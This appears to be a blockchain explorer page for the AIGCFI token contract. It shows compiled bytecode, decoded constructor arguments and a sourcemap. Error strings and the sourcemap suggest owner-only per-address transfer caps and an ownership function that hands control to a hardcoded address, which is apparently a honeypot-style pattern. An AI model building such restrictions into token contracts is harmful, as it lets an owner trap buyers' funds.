50602061104086828701610f7d565b925050604061105186828701610f92565b9150509250925092565b6000806040838503121561106e57600080fd5b600061107c85828601610f7d565b925050602061108d85828601610f92565b9150509250929050565b6110a0816113ac565b82525050565b6110af816113be565b82525050565b60006110c082611306565b6110ca8185611311565b93506110da818560208601611401565b6110e3816114c4565b840191505092915050565b60006110fb602183611311565b91507f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008301527f65000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611161602d83611311565b91507f546f74616c207472616e7366657220616d6f756e74206578636565647320746860008301527f6520736574206c756d74696e74000000000000000000000000000000000000006020830152604082019050919050565b60006111c7602083611311565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b611203816113ea565b82525050565b611212816113f4565b82525050565b600060208201905061122d6000830184611097565b92915050565b600060208201905061124860008301846110a6565b92915050565b6000602082019050818103600083015261126881846110b5565b905092915050565b60006020820190508181036000830152611289816110ee565b9050919050565b600060208201905081810360008301526112a981611154565b9050919050565b600060208201905081810360008301526112c9816111ba565b9050919050565b60006020820190506112e560008301846111fa565b92915050565b60006020820190506113006000830184611209565b92915050565b600081519050919050565b600082825260208201905092915050565b600061132d826113ea565b9150611338836113ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561136d5761136c611466565b5b828201905092915050565b6000611383826113ea565b915061138e836113ea565b9250828210156113a1576113a0611466565b5b828203905092915050565b60006113b7826113ca565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561141f578082015181840152602081019050611404565b8381111561142e576000848401525b50505050565b6000600282049050600182168061144c57607f821691505b602082108114156114605761145f611495565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6114de816113ac565b81146114e957600080fd5b50565b6114f5816113ea565b811461150057600080fd5b5056fea264697066735822122036f9852351c4fe0ccb50e1b034051d1f433c4c9115c20bd37fda4aeb7b30fa8f64736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000d09dc3000000000000000000000000000000000000000000000000000000000000000006414947434649000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064149474346490000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): AIGCFI
Arg [1] : symbol_ (string): AIGCFI
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 3500000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000000d09dc300
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 4149474346490000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 4149474346490000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

2954:3983:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4985:141;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4386:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6112:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4663:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6424:510;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4572:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4773:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2692:230;;;:::i;:::-;;2301:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3243:56;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4477:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5398:360;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5218:124;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5858:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3306:58;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4985:141;2514:12;:10;:12::i;:::-;2503:23;;:7;:5;:7::i;:::-;:23;;;2495:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5111:7:::1;5079:21;:29;5101:6;5079:29;;;;;;;;;;;;;;;:39;;;;4985:141:::0;;:::o;4386:83::-;4423:13;4456:5;4449:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4386:83;:::o;6112:228::-;6195:4;6249:6;6212:11;:25;6224:12;:10;:12::i;:::-;6212:25;;;;;;;;;;;;;;;:34;6238:7;6212:34;;;;;;;;;;;;;;;:43;;;;6294:7;6271:39;;6280:12;:10;:12::i;:::-;6271:39;;;6303:6;6271:39;;;;;;:::i;:::-;;;;;;;;6328:4;6321:11;;6112:228;;;;:::o;4663:102::-;4718:7;4745:12;;4738:19;;4663:102;:::o;6424:510::-;6562:4;6537:6;6545;3658:15;3676:21;:29;3698:6;3676:29;;;;;;;;;;;;;;;;3658:47;;3730:1;3720:7;:11;3716:153;;;3800:7;3790:6;3756:23;:31;3780:6;3756:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;:51;;3748:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;3716:153;6624:6:::1;6587:11;:19;6599:6;6587:19;;;;;;;;;;;;;;;:33;6607:12;:10;:12::i;:::-;6587:33;;;;;;;;;;;;;;;;:43;;6579:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;6700:6;6679:9;:17;6689:6;6679:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;6741:6;6717:9;:20;6727:9;6717:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6793:6;6758:23;:31;6782:6;6758:31;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;6847:6;6810:11;:19;6822:6;6810:19;;;;;;;;;;;;;;;:33;6830:12;:10;:12::i;:::-;6810:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;6886:9;6869:35;;6878:6;6869:35;;;6897:6;6869:35;;;;;;:::i;:::-;;;;;;;;6922:4;6915:11;;6424:510:::0;;;;;;;;:::o;4572:83::-;4613:5;4638:9;;;;;;;;;;;4631:16;;4572:83;:::o;4773:119::-;4839:7;4866:9;:18;4876:7;4866:18;;;;;;;;;;;;;;;;4859:25;;4773:119;;;:::o;2692:230::-;2514:12;:10;:12::i;:::-;2503:23;;:7;:5;:7::i;:::-;:23;;;2495:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2799:42:::1;2762:81;;2783:6;::::0;::::1;;;;;;;;2762:81;;;;;;;;;;;;2871:42;2854:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;2692:230::o:0;2301:87::-;2347:7;2374:6;;;;;;;;;;;2367:13;;2301:87;:::o;3243:56::-;;;;;;;;;;;;;;;;;:::o;4477:87::-;4516:13;4549:7;4542:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4477:87;:::o;5398:360::-;5522:4;5491:12;:10;:12::i;:::-;5505:6;3658:15;3676:21;:29;3698:6;3676:29;;;;;;;;;;;;;;;;3658:47;;3730:1;3720:7;:11;3716:153;;;3800:7;3790:6;3756:23;:31;3780:6;3756:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;:51;;3748:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;3716:153;5566:6:::1;5539:9;:23;5549:12;:10;:12::i;:::-;5539:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;5607:6;5583:9;:20;5593:9;5583:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5665:6;5624:23;:37;5648:12;:10;:12::i;:::-;5624:37;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;5710:9;5687:41;;5696:12;:10;:12::i;:::-;5687:41;;;5721:6;5687:41;;;;;;:::i;:::-;;;;;;;;5746:4;5739:11;;5398:360:::0;;;;;;;:::o;5218:124::-;2514:12;:10;:12::i;:::-;2503:23;;:7;:5;:7::i;:::-;:23;;;2495:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5305:21:::1;:29;5327:6;5305:29;;;;;;;;;;;;;;;5298:36;;;5218:124:::0;:::o;5858:151::-;5947:7;5974:11;:18;5986:5;5974:18;;;;;;;;;;;;;;;:27;5993:7;5974:27;;;;;;;;;;;;;;;;5967:34;;5858:151;;;;:::o;3306:58::-;;;;;;;;;;;;;;;;;:::o;1554:115::-;1607:15;1650:10;1635:26;;1554:115;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:118::-;2036:24;2054:5;2036:24;:::i;:::-;2031:3;2024:37;2014:53;;:::o;2073:109::-;2154:21;2169:5;2154:21;:::i;:::-;2149:3;2142:34;2132:50;;:::o;2188:364::-;;2304:39;2337:5;2304:39;:::i;:::-;2359:71;2423:6;2418:3;2359:71;:::i;:::-;2352:78;;2439:52;2484:6;2479:3;2472:4;2465:5;2461:16;2439:52;:::i;:::-;2516:29;2538:6;2516:29;:::i;:::-;2511:3;2507:39;2500:46;;2280:272;;;;;:::o;2558:365::-;;2721:67;2785:2;2780:3;2721:67;:::i;:::-;2714:74;;2818:34;2814:1;2809:3;2805:11;2798:55;2884:3;2879:2;2874:3;2870:12;2863:25;2914:2;2909:3;2905:12;2898:19;;2704:219;;;:::o;2929:377::-;;3092:67;3156:2;3151:3;3092:67;:::i;:::-;3085:74;;3189:34;3185:1;3180:3;3176:11;3169:55;3255:15;3250:2;3245:3;3241:12;3234:37;3297:2;3292:3;3288:12;3281:19;;3075:231;;;:::o;3312:330::-;;3475:67;3539:2;3534:3;3475:67;:::i;:::-;3468:74;;3572:34;3568:1;3563:3;3559:11;3552:55;3633:2;3628:3;3624:12;3617:19;;3458:184;;;:::o;3648:118::-;3735:24;3753:5;3735:24;:::i;:::-;3730:3;3723:37;3713:53;;:::o;3772:112::-;3855:22;3871:5;3855:22;:::i;:::-;3850:3;3843:35;3833:51;;:::o;3890:222::-;;4021:2;4010:9;4006:18;3998:26;;4034:71;4102:1;4091:9;4087:17;4078:6;4034:71;:::i;:::-;3988:124;;;;:::o;4118:210::-;;4243:2;4232:9;4228:18;4220:26;;4256:65;4318:1;4307:9;4303:17;4294:6;4256:65;:::i;:::-;4210:118;;;;:::o;4334:313::-;;4485:2;4474:9;4470:18;4462:26;;4534:9;4528:4;4524:20;4520:1;4509:9;4505:17;4498:47;4562:78;4635:4;4626:6;4562:78;:::i;:::-;4554:86;;4452:195;;;;:::o;4653:419::-;;4857:2;4846:9;4842:18;4834:26;;4906:9;4900:4;4896:20;4892:1;4881:9;4877:17;4870:47;4934:131;5060:4;4934:131;:::i;:::-;4926:139;;4824:248;;;:::o;5078:419::-;;5282:2;5271:9;5267:18;5259:26;;5331:9;5325:4;5321:20;5317:1;5306:9;5302:17;5295:47;5359:131;5485:4;5359:131;:::i;:::-;5351:139;;5249:248;;;:::o;5503:419::-;;5707:2;5696:9;5692:18;5684:26;;5756:9;5750:4;5746:20;5742:1;5731:9;5727:17;5720:47;5784:131;5910:4;5784:131;:::i;:::-;5776:139;;5674:248;;;:::o;5928:222::-;;6059:2;6048:9;6044:18;6036:26;;6072:71;6140:1;6129:9;6125:17;6116:6;6072:71;:::i;:::-;6026:124;;;;:::o;6156:214::-;;6283:2;6272:9;6268:18;6260:26;;6296:67;6360:1;6349:9;6345:17;6336:6;6296:67;:::i;:::-;6250:120;;;;:::o;6376:99::-;;6462:5;6456:12;6446:22;;6435:40;;;:::o;6481:169::-;;6599:6;6594:3;6587:19;6639:4;6634:3;6630:14;6615:29;;6577:73;;;;:::o;6656:305::-;;6715:20;6733:1;6715:20;:::i;:::-;6710:25;;6749:20;6767:1;6749:20;:::i;:::-;6744:25;;6903:1;6835:66;6831:74;6828:1;6825:81;6822:2;;;6909:18;;:::i;:::-;6822:2;6953:1;6950;6946:9;6939:16;;6700:261;;;;:::o;6967:191::-;;7027:20;7045:1;7027:20;:::i;:::-;7022:25;;7061:20;7079:1;7061:20;:::i;:::-;7056:25;;7100:1;7097;7094:8;7091:2;;;7105:18;;:::i;:::-;7091:2;7150:1;7147;7143:9;7135:17;;7012:146;;;;:::o;7164:96::-;;7230:24;7248:5;7230:24;:::i;:::-;7219:35;;7209:51;;;:::o;7266:90::-;;7343:5;7336:13;7329:21;7318:32;;7308:48;;;:::o;7362:126::-;;7439:42;7432:5;7428:54;7417:65;;7407:81;;;:::o;7494:77::-;;7560:5;7549:16;;7539:32;;;:::o;7577:86::-;;7652:4;7645:5;7641:16;7630:27;;7620:43;;;:::o;7669:307::-;7737:1;7747:113;7761:6;7758:1;7755:13;7747:113;;;7846:1;7841:3;7837:11;7831:18;7827:1;7822:3;7818:11;7811:39;7783:2;7780:1;7776:10;7771:15;;7747:113;;;7878:6;7875:1;7872:13;7869:2;;;7958:1;7949:6;7944:3;7940:16;7933:27;7869:2;7718:258;;;;:::o;7982:320::-;;8063:1;8057:4;8053:12;8043:22;;8110:1;8104:4;8100:12;8131:18;8121:2;;8187:4;8179:6;8175:17;8165:27;;8121:2;8249;8241:6;8238:14;8218:18;8215:38;8212:2;;;8268:18;;:::i;:::-;8212:2;8033:269;;;;:::o;8308:180::-;8356:77;8353:1;8346:88;8453:4;8450:1;8443:15;8477:4;8474:1;8467:15;8494:180;8542:77;8539:1;8532:88;8639:4;8636:1;8629:15;8663:4;8660:1;8653:15;8680:102;;8772:2;8768:7;8763:2;8756:5;8752:14;8748:28;8738:38;;8728:54;;;:::o;8788:122::-;8861:24;8879:5;8861:24;:::i;:::-;8854:5;8851:35;8841:2;;8900:1;8897;8890:12;8841:2;8831:79;:::o;8916:122::-;8989:24;9007:5;8989:24;:::i;:::-;8982:5;8979:35;8969:2;;9028:1;9025;9018:12;8969:2;8959:79;:::o

Swarm Source

ipfs://36f9852351c4fe0ccb50e1b034051d1f433c4c9115c20bd37fda4aeb7b30fa8f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.